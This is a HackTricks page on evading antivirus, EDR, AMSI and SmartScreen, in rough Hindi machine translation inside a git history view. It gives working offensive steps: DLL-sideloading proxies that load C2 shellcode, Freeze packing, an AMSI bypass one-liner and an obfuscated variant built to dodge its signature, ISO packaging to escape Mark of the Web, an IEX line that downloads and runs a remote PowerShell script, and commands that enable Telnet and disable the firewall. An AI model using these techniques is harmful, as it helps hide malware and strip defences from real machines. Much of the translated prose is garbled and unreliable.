hacktricks/windows-hardening/av-bypass.md

527 lines
50 KiB
Markdown
Raw Normal View History

# एंटीवायरस (AV) बायपास
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मेरा** ट्विटर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का पालन करें।**
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
2022-04-28 16:01:33 +00:00
2022-12-11 19:30:44 +00:00
</details>
2022-04-28 16:01:33 +00:00
**इस पृष्ठ को लिखा गया था** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
2022-12-11 19:30:44 +00:00
## **AV ईवेशन मेथडोलॉजी**
2022-12-11 19:30:44 +00:00
वर्तमान में, AVs एक फ़ाइल को दुष्ट या नहीं देखने के लिए विभिन्न विधियों का उपयोग करते हैं, स्थैतिक पहचान, गतिशील विश्लेषण, और उन्नत EDRs के लिए व्यवहारात्मक विश्लेषण।
2022-12-11 19:30:44 +00:00
### **स्थैतिक पहचान**
2022-12-11 19:30:44 +00:00
स्थैतिक पहचान को एक बाइनरी या स्क्रिप्ट में ज्ञात दुष्ट स्ट्रिंग या बाइट्स को झंझटित करके प्राप्त किया जाता है, और भी फ़ाइल से जानकारी निकाली जाती है (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्होंने संशोधित और दुष्ट के रूप में झंझटित किया होगा। इस प्रकार की पहचान से बचने के कुछ तरीके हैं:
2022-12-11 19:30:44 +00:00
2023-11-06 08:38:02 +00:00
* **एन्क्रिप्शन**
2022-12-11 19:30:44 +00:00
यदि आप बाइनरी को एन्क्रिप्ट करते हैं, तो AV को आपके प्रोग्राम का पता लगाने का कोई तरीका नहीं होगा, लेकिन आपको किसी प्रकार का लोडर चाहिए होगा जो प्रोग्राम को डिक्रिप्ट और मेमोरी में चलाने के लिए।
2022-12-11 19:30:44 +00:00
* **अवफस्केशन**
2022-12-11 19:30:44 +00:00
कभी-कभी आपको अवफस्केशन करने के लिए बाइनरी या स्क्रिप्ट में कुछ स्ट्रिंग्स बदलने की आवश्यकता होती है, लेकिन यह किसी भी चीज को अवफस्केट करने पर निर्भर करता है।
2022-12-11 19:30:44 +00:00
2023-11-06 08:38:02 +00:00
* **कस्टम टूलिंग**
2022-12-11 19:30:44 +00:00
यदि आप अपने खुद के उपकरण विकसित करते हैं, तो कोई जाने माने बुरे हस्ताक्षर नहीं होंगे, लेकिन इसमें बहुत समय और प्रयास लगेगा।
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
Windows Defender स्थैतिक पहचान के खिलाफ जाँच के लिए [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) एक अच्छा तरीका है। यह बुनियादी रूप से फ़ाइल को कई सेगमेंट में विभाजित करता है और फिर Defender से प्रत्येक को अलग-अलग स्कैन करने के लिए कहता है, इस तरह, यह आपको बता सकता है कि आपके बाइनरी में झंझटित स्ट्रिंग्स या बाइट्स क्या हैं।
{% endhint %}
2022-12-11 19:30:44 +00:00
मैं आपको इस [YouTube प्लेलिस्ट](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) की जांच करने की अत्यधिक सिफारिश करता हूँ जो व्यावहारिक AV ईवेशन के बारे में है।
2022-12-11 19:30:44 +00:00
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
2023-11-06 08:38:02 +00:00
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
2022-12-11 19:30:44 +00:00
}
```
{% endcode %}
यह कमांड "C:\Program Files\\" के अंदर DLL हाइजैकिंग के लिए संवेदनशील कार्यक्रमों की सूची और वे DLL फ़ाइलें उत्पन्न करेगा जिन्हें वे लोड करने का प्रयास करते हैं।
2022-12-11 19:30:44 +00:00
मैं आपको **DLL Hijackable/Sideloadable programs** खुद खोजने की अधिक सलाह देता हूँ, यह तकनीक सही ढंग से किया जाता है, लेकिन यदि आप सार्वजनिक रूप से जाने जाने वाले DLL Sideloadable कार्यक्रमों का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।
2022-12-11 19:30:44 +00:00
किसी भी दुरुपयोगी DLL को एक कार्यक्रम की उम्मीद करने वाली एक नामक DLL के साथ रखने से आपका पेलोड लोड नहीं होगा, क्योंकि कार्यक्रम उस DLL के अंदर कुछ विशिष्ट कार्यों की उम्मीद करता है, इस समस्या को ठीक करने के लिए, हम एक और तकनीक का उपयोग करेंगे जिसे **DLL Proxying/Forwarding** कहा जाता है।
2022-12-11 19:30:44 +00:00
**DLL Proxying** कार्यक्रम द्वारा किए गए कॉल्स को प्रॉक्सी (और दुरुपयोगी) DLL से मूल DLL तक फॉरवर्ड करता है, इस प्रकार कार्यक्रम की कार्यक्षमता को संरक्षित रखता है और आपके पेलोड के निष्पादन को संभालने में सक्षम होता है।
2022-12-11 19:30:44 +00:00
मैं [@flangvik](https://twitter.com/Flangvik/) के [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) परियोजना का उपयोग करूंगा।
2022-12-11 19:30:44 +00:00
निम्नलिखित कदम मैंने अपनाए:
2022-12-11 19:30:44 +00:00
```
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
{% endcode %}
आखिरी कमांड हमें 2 फ़ाइलें देगी: एक DLL स्रोत कोड टेम्पलेट, और मूल नाम बदल दी गई DLL।
2022-12-11 19:30:44 +00:00
2022-12-11 21:29:51 +00:00
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
{% code overflow="wrap" %}
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
{% endcode %}
ये हैं परिणाम:
2022-12-11 19:30:44 +00:00
2022-12-11 21:29:51 +00:00
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
हमारे शेलकोड (जिसे [SGN](https://github.com/EgeBalci/sgn) के साथ एन्कोड किया गया है) और प्रॉक्सी DLL दोनों का [antiscan.me](https://antiscan.me) में 0/26 डिटेक्शन दर है! मैं इसे एक सफलता कहूंगा।
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
मैं **ऊचा सिफारिश** करता हूं कि आप [S3cur3Th1sSh1t के twitch VOD](https://www.twitch.tv/videos/1644171543) को DLL Sideloading और [ippsec के वीडियो](https://www.youtube.com/watch?v=3eROsG\_WNpE) को देखें और हमने जो विस्तार से चर्चा की है, उसके बारे में अधिक जानें।
2022-12-11 19:30:44 +00:00
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
2022-12-11 19:30:44 +00:00
`Freeze एक पेडलोड टूलकिट है जो EDRs को सस्पेंडेड प्रोसेसेस, डायरेक्ट सिसकॉल्स, और वैकल्पिक निष्पादन विधियों का उपयोग करके उन्हें छलकरने के लिए है`
2022-12-11 19:30:44 +00:00
आप Freeze का उपयोग करके अपने शेलकोड को एक छलकरने वाले तरीके में लोड और निष्पादित कर सकते हैं।
2022-12-11 19:30:44 +00:00
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender
```
2022-12-11 21:29:51 +00:00
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
टालना बस एक बिल्ली और चूहे का खेल है, जो आज काम करता है, कल पकड़ लिया जा सकता है, इसलिए कभी भी केवल एक उपकरण पर भरोसा न करें, यदि संभव हो तो कई टालने की तकनीकों को जोड़ने का प्रयास करें।
2022-12-11 19:30:44 +00:00
{% endhint %}
## AMSI (एंटी-मैलवेयर स्कैन इंटरफेस)
2022-12-11 19:30:44 +00:00
AMSI को "[फाइललेस मैलवेयर](https://en.wikipedia.org/wiki/Fileless\_malware)" को रोकने के लिए बनाया गया था। पहले, AVs केवल **डिस्क पर फ़ाइलें** स्कैन करने में सक्षम थे, इसलिए यदि आप किसी प्रकार से payloads **सीधे मेमोरी में** निष्पादित कर सकते थे, तो AV कुछ भी नहीं कर सकता था इसे रोकने के लिए, क्योंकि इसके पास पर्याप्त दृश्यता नहीं थी।
2022-12-11 19:30:44 +00:00
AMSI सुविधा विंडोज के इन घटकों में एकीकृत है।
2022-12-11 19:30:44 +00:00
* उपयोगकर्ता खाता नियंत्रण, या UAC (EXE, COM, MSI, या ActiveX स्थापना का उन्नयन)
* पावरशेल (स्क्रिप्ट, इंटरैक्टिव उपयोग, और गतिशील कोड मूल्यांकन)
* विंडोज स्क्रिप्ट होस्ट (wscript.exe और cscript.exe)
* जावास्क्रिप्ट और वीबीस्क्रिप्ट
* ऑफिस VBA मैक्रो
2022-12-11 19:30:44 +00:00
यह एंटीवायरस समाधानों को स्क्रिप्ट व्यवहार की जांच करने की अनुमति देता है जिसे एक ऐसे रूप में उनको अनक्रिप्ट और अविलक्षित रूप में स्क्रिप्ट सामग्री का प्रकट करता है।
2022-12-11 19:30:44 +00:00
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` चलाने पर विंडोज डिफेंडर पर निम्न चेतावनी दी जाएगी।
2022-12-11 19:30:44 +00:00
2022-12-25 19:08:07 +00:00
<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
ध्यान दें कि यह `amsi:` को पहले जोड़ता है और फिर एक्जीक्यूटेबल का पथ, जिससे स्क्रिप्ट चलाया गया, इस मामले में, powershell.exe
2022-04-28 16:01:33 +00:00
हमने किसी भी फ़ाइल को डिस्क पर नहीं छोड़ा, लेकिन फिर भी AMSI के कारण मेमोरी में पकड़ गए।
2022-04-28 16:01:33 +00:00
AMSI को चक्कर में लेने के कुछ तरीके हैं:
2022-12-11 19:30:44 +00:00
* **अवगुणन**
2022-12-11 19:30:44 +00:00
क्योंकि AMSI मुख्य रूप से स्थैतिक पकड़ों के साथ काम करता है, इसलिए आप लोड करने की कोशिश की गई स्क्रिप्टों को संशोधित करना एक अच्छा तरीका हो सकता है डिटेक्शन से बचने के लिए।
2022-12-11 19:30:44 +00:00
हालांकि, AMSI के पास यदि यह कई लेयर्स हो तो भी स्क्रिप्टों को अनऑब्स्केट करने की क्षमता है, तो अवगुणन किया जा सकता है, इस पर कैसे किया जाता है इस पर निर्भर करता है। यह इसे टालना इतना सीधा नहीं बनाता। हालांकि, कभी-कभी, आपको कुछ चरणों के नाम बदलने की आवश्यकता होती है और आप अच्छे हो जाएंगे, इसलिए यह उस पर कितना झंडा लगाया गया है इस पर निर्भर करता है।
2022-12-11 19:30:44 +00:00
* **AMSI बाईपास**
2022-12-11 19:30:44 +00:00
क्योंकि AMSI को पावरशेल (जैसे cscript.exe, wscript.exe, आदि) प्रक्रिया में एक DLL लोड करके लागू किया गया है, इसे आसानी से उसमें हस्तक्षेप किया जा सकता है, यहां एक अनप्रिविलेज्ड उपयोगकर्ता के रूप में भी चल रहा है। इस AMSI के कार्यान्वयन में दोष के कारण, शोधकर्ताओं ने AMSI स्कैनिंग से बचने के कई तरीके खोजे हैं।
2022-12-11 19:30:44 +00:00
**त्रुटि को बल प्रदान करना**
2022-12-11 19:30:44 +00:00
AMSI प्रारंभीकरण को विफल करने के लिए (amsiInitFailed) यह परिणाम होगा कि वर्तमान प्रक्रिया के लिए कोई स्कैन प्रारंभ नहीं होगा। मूल रूप से इसे [Matt Graeber](https://twitter.com/mattifestation) ने खुलासा किया था और माइक्रोसॉफ्ट ने इसका व्यापक उपयोग रोकने के लिए एक हस्ताक्षर विकसित किया है।
2022-12-11 19:30:44 +00:00
{% code overflow="wrap" %}
2022-12-11 19:30:44 +00:00
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
{% endcode %}
2022-12-11 19:30:44 +00:00
केवल एक पंक्ति पावरशेल कोड की आवश्यकता थी ताकि वर्तमान पावरशेल प्रक्रिया के लिए AMSI अप्रयोग्य हो जाए। यह पंक्ति बेशक AMSI द्वारा फ्लैग की गई है, इसलिए इस तकनीक का उपयोग करने के लिए कुछ संशोधन की आवश्यकता है।
2022-12-11 19:30:44 +00:00
यहाँ एक संशोधित AMSI बाईपास है जिसे मैंने इस [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) से लिया है।
2022-12-11 19:30:44 +00:00
```powershell
Try{#Ams1 bypass technic nº 2
2023-11-06 08:38:02 +00:00
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
2022-12-11 19:30:44 +00:00
```
2023-11-06 08:38:02 +00:00
**मेमोरी पैचिंग**
2022-12-11 19:30:44 +00:00
यह तकनीक पहले से ही [@RastaMouse](https://twitter.com/\_RastaMouse/) द्वारा खोजी गई थी और इसमें "AmsiScanBuffer" फ़ंक्शन के पते को amsi.dll में खोजना शामिल है (जो उपयोगकर्ता द्वारा प्रदान किए गए इनपुट की स्कैनिंग के लिए जिम्मेदार है) और इसे इंस्ट्रक्शन के साथ अधिलेखित करना जिससे कोड को E\_INVALIDARG के लिए वापस लौटाने के निर्देश दिए जाएं, इस तरह, वास्तविक स्कैन का परिणाम 0 लौटेगा, जिसे साफ परिणाम के रूप में व्याख्या किया जाएगा।
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
कृपया अधिक विस्तृत व्याख्या के लिए [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) पढ़ें।
2022-12-11 19:30:44 +00:00
{% endhint %}
AMSI को बायपास करने के लिए और भी कई तकनीकें हैं जो पावरशेल के साथ उपयोग की जाती हैं, [**इस पेज**](basic-powershell-for-pentesters/#amsi-bypass) और [इस रेपो](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) की जाँच करें और उनके बारे में और अधिक जानें।
या यह स्क्रिप्ट जो मेमोरी पैचिंग के माध्यम से हर नए पावरशेल को पैच करेगा।
## अवगुणन
कई उपकरण हैं जो क्लियर-टेक्स्ट को **अवगुणित करने** के लिए उपयोग किए जा सकते हैं, **मेटाप्रोग्रामिंग टेम्पलेट** जेनरेट करने के लिए तथा बाइनरी को **अवगुणित करने** के लिए जैसे:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# अवगुणक**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): इस परियोजना का उद्देश्य [LLVM](http://www.llvm.org/) संकलन सुइट का एक ओपन-सोर्स फोर्क प्रदान करना है जो [कोड अवगुणन](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) और टैम्पर-प्रूफिंग के माध्यम से वृद्धि देने में सक्षम हो।
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator दिखाता है कि `C++11/14` भाषा का उपयोग करके कैसे कंपाइल समय पर बिना किसी बाह्य उपकरण का उपयोग किए और कंपाइलर को संशोधित किए बिना अवगुणित कोड उत्पन्न किया जा सकता है।
* [**obfy**](https://github.com/fritzone/obfy): C++ टेम्पलेट मेटाप्रोग्रामिंग फ्रेमवर्क द्वारा उत्पन्न अवगुणित ऑपरेशन की एक परत जोड़ें जो अनुप्रयोग को क्रैक करने वाले व्यक्ति के जीवन को थोड़ा सा कठिन बना देगी।
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz एक x64 बाइनरी अवगुणक है जो विभिन्न पीई फ़ाइलों को अवगुणित करने में सक्षम है: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame एक साधारण मेटामॉर्फिक कोड इंजन है जो विभिन्न क्रियान्वितों के लिए है।
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator एक फाइन-ग्रेन्ड कोड अवगुणन फ्रेमवर्क है जो ROP (रिटर्न-ओरिएंटेड प्रोग्रामिंग) का उपयोग करके LLVM समर्थित भाषाओं के लिए कार्यक्रम को अवगुणित करता है। ROPfuscator एक कार्यक्रम को एसेम्बली कोड स्तर पर अवगुणित करता है जिसे सामान्य नियंत्रण प्रवाह की हमारी प्राकृतिक धारणा को बदलकर ROP श्रृंखलाओं में परिवर्तित करता है।
2023-11-06 08:38:02 +00:00
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt एक .NET PE Crypter है जो Nim में लिखा गया है
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor मौजूदा EXE/DLL को शैलकोड में परिवर्तित करने और फिर उन्हें लोड करने में सक्षम है
2022-12-11 19:30:44 +00:00
## स्मार्टस्क्रीन और MoTW
2022-12-11 19:30:44 +00:00
आपने शायद इस स्क्रीन को देखा होगा जब आप इंटरनेट से कुछ एक्जीक्यूटेबल डाउनलोड करते हैं और उन्हें चलाते हैं।
2022-12-11 19:30:44 +00:00
माइक्रोसॉफ्ट डिफेंडर स्मार्टस्क्रीन एक सुरक्षा तंत्र है जो अंत उपयोगकर्ता को पोटेंशियली हानिकारक एप्लिकेशन चलाने से बचाने के लिए है।
2022-12-11 19:30:44 +00:00
2022-12-15 10:37:10 +00:00
<figure><img src="../.gitbook/assets/image (1) (4).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
स्मार्टस्क्रीन मुख्य रूप से एक प्रतिष्ठा-आधारित दृष्टिकोण के साथ काम करता है, अर्थात असामान्य डाउनलोड एप्लिकेशन स्मार्टस्क्रीन को ट्रिगर करेंगे जिससे अंत उपयोगकर्ता को फ़ाइल को चलाने से रोका जाएगा (हालांकि फ़ाइल को फिर भी चलाया जा सकता है अधिक जानकारी -> फिर भी चलाएं).
**MoTW** (Mark of The Web) एक [NTFS वैकल्पिक डेटा स्ट्रीम](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) है जिसका नाम Zone.Identifier है जो इंटरनेट से फ़ाइलें डाउनलोड करते समय स्वचालित रूप से बनाया जाता है, साथ ही उस URL के साथ जिससे यह डाउनलोड किया गया था।
<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>इंटरनेट से डाउनलोड की गई फ़ाइल के लिए Zone.Identifier ADS की जाँच।</p></figcaption></figure>
{% hint style="info" %}
यह महत्वपूर्ण है कि **विश्वसनीय** हस्ताक्षर सर्टिफिकेट के साथ हस्ताक्षरित एक्जीक्यूटेबल **स्मार्टस्क्रीन को ट्रिगर नहीं करेगा**
{% endhint %}
अपने पेलोड को Mark of The Web से बचाने के लिए एक प्रभावी तरीका उन्हें किसी प्रकार के कंटेनर के अंदर पैकेज करना है जैसे कि एक ISO। यह इसलिए होता है क्योंकि Mark-of-the-Web (MOTW) **non NTFS** वॉल्यूम पर लागू **नहीं** किया जा सकता है।
<figure><img src="../.gitbook/assets/image (12) (2) (2).png" alt=""><figcaption></figcaption></figure>
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) एक उपकरण है जो पेलोड को मार्क ऑफ द वेब से बचाने के लिए आउटपुट कंटेनर में पैकेज करता है।
2022-12-11 19:30:44 +00:00
उदाहरण उपयोग:
2022-12-11 19:30:44 +00:00
```powershell
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
2023-11-06 08:38:02 +00:00
+ o + + o + +
o + + + o + + o
2022-12-11 19:30:44 +00:00
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
2023-11-06 08:38:02 +00:00
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
2022-12-11 19:30:44 +00:00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
2023-11-06 08:38:02 +00:00
o + o + +
2022-12-11 19:30:44 +00:00
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
2023-11-06 08:38:02 +00:00
Adding file: /TotallyLegitApp.exe
2022-12-11 19:30:44 +00:00
[+] Generated file written to (size: 3420160): container.iso
```
यहाँ एक डेमो है जिसमें [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) का उपयोग करके ISO फ़ाइलों में payloads को SmartScreen को बायपास करने का प्रदर्शन किया गया है।
2022-12-11 19:30:44 +00:00
2022-12-11 21:29:51 +00:00
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
## C# Assembly Reflection
2022-12-11 19:30:44 +00:00
मेमोरी में C# binaries लोड करना काफी समय से जाना जा रहा है और यह आपके post-exploitation tools को AV द्वारा पकड़े जाने से बचाने का एक बहुत अच्छा तरीका है।
2022-12-11 19:30:44 +00:00
पेलोड सीधे मेमोरी में लोड हो जाएगा बिना डिस्क को छूते, इसलिए हमें केवल AMSI को पूरे प्रक्रिया के लिए पैच करने की चिंता करनी होगी।
2022-12-11 19:30:44 +00:00
अधिकांश C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, आदि) पहले से ही C# assemblies को मेमोरी में सीधे निष्पादित करने की क्षमता प्रदान करते हैं, लेकिन इसे करने के विभिन्न तरीके हैं:
2022-12-11 19:30:44 +00:00
* **Fork\&Run**
इसमें **एक नया बलिदानी प्रक्रिया उत्पन्न करना** शामिल है, अपने post-exploitation दुरुपयोगी कोड को उस नई प्रक्रिया में इंजेक्ट करना, अपने दुरुपयोगी कोड को निष्पादित करना और समाप्त होने पर, नई प्रक्रिया को मारना। इसके फायदे और नुकसान दोनों हैं। फोर्क और रन विधि का लाभ यह है कि निष्पादन हमारे बीकन इम्प्लांट प्रक्रिया के **बाहर** होता है। इसका मतलब है कि यदि हमारे post-exploitation कार्रवाई में कुछ गलत हो जाता है या पकड़ा जाता है, तो हमारे **इम्प्लांट के जीवित रहने** की **अधिक संभावना** है। नुकसान यह है कि आपको **व्यवहारिक पहचान** द्वारा पकड़ने की **अधिक संभावना** है।
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (7) (1) (3).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
* **Inline**
इसका मतलब है कि post-exploitation दुरुपयोगी कोड को **अपनी खुद की प्रक्रिया में** इंजेक्ट करना। इस तरीके से, आपको एक नई प्रक्रिया बनाने और उसे AV द्वारा स्कैन करवाने से बचने में मदद मिलती है, लेकिन नुकसान यह है कि यदि आपके payload के निष्पादन में कुछ गलत हो जाता है, तो आपके बीकन को खोने की **अधिक संभावना** है क्योंकि यह क्रैश हो सकता है।
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (9) (3) (1).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
यदि आप C# Assembly लोडिंग के बारे में और अधिक पढ़ना चाहते हैं, तो कृपया इस लेख [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) और उनके InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) की जांच करें।
2022-12-11 19:30:44 +00:00
{% endhint %}
आप C# Assemblies **PowerShell से** भी लोड कर सकते हैं, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) और [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk) देखें।
2023-11-06 08:38:02 +00:00
## अन्य प्रोग्रामिंग भाषाओं का उपयोग
[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) में प्रस्तावित है कि आक्रमित मशीन को आक्रमक कोड का उपयोग करने के लिए आक्रमक वातावरण परियोजित SMB साझा पर इंटरप्रीटर वातावरण का उपयोग करके अन्य भाषाओं का उपयोग करना संभव है।
इंटरप्रीटर बाइनरीज़ और SMB साझा परियोजित वातावरण का पहुंच देने द्वारा आप आक्रमित मशीन की मेमोरी में इन भाषाओं में विचारहीन कोड को **निष्पादित** कर सकते हैं।
रेपो इसका सुझाव देता है: Defender अब भी स्क्रिप्ट को स्कैन करता है लेकिन Go, Java, PHP आदि का उपयोग करके हमें **स्थिर हस्ताक्षरों को बायपास करने** की **अधिकता** है। इन भाषाओं में अनियंत्रित रिवर्स शैल वाले अद्वितीय शैली के स्क्रिप्ट के साथ परीक्षण सफल साबित हुआ है।
2022-12-11 19:30:44 +00:00
## उन्नत टालना
2022-12-11 19:30:44 +00:00
टालना एक बहुत जटिल विषय है, कभी-कभी आपको एक ही सिस्टम में कई विभिन्न तेलीमेट्री स्रोतों को ध्यान में रखना होता है, इसलिए पूरी तरह से परिपक्व वातावरण में पूरी तरह से अनप्रकट रहना लगभग असंभव है।
2022-12-11 19:30:44 +00:00
जिस भी वातावरण के खिलाफ आप जाते हैं, उसके अपने शक्तियों और कमजोरियों होते हैं।
मैं आपको उन्नत टालन तकनीकों के बारे में अधिक जानकारी प्राप्त करने के लिए इस टॉक को देखने की सराहना करता हूं [@ATTL4S](https://twitter.com/DaniLJ94),।
2022-12-11 19:30:44 +00:00
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
यह एक और शानदार टॉक है [@mariuszbit](https://twitter.com/mariuszbit) के द्वारा टालन में गहराई के बारे में।
2022-12-11 19:30:44 +00:00
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
2023-11-06 08:38:02 +00:00
## **पुरानी तकनीकें**
2022-12-11 19:30:44 +00:00
### **जांचें कि Defender किस हिस्से को दुरुपयोगी मानता है**
आप [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) का उपयोग कर सकते हैं जो **बाइनरी के हिस्से को हटा देगा** जब तक यह न पता लगा लेता है कि Defender किस हिस्से को दुरुपयोगी मान रहा है और इसे आपको विभाजित कर देगा।\
एक और उपकरण जो **एक ही चीज कर रहा है** है [**avred**](https://github.com/dobin/avred) जिसके एक ओपन वेब सेवा में सेवा प्रदान कर रहा है [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **टेलनेट सर्वर**
Windows10 तक, सभी Windows के साथ एक **टेलनेट सर्वर** आता था जिसे आप (व्यवस्थापक के रूप में) इंस्टॉल कर सकते थे:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
इसे **शुरू** करें जब सिस्टम शुरू होता है और अब इसे **चलाएं**:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**टेलनेट पोर्ट बदलें** (छल) और फ़ायरवॉल अक्षम करें:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
2022-12-11 19:30:44 +00:00
### UltraVNC
इसे यहाँ से डाउनलोड करें: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (आपको सेटअप नहीं, बिन डाउनलोड करना है)
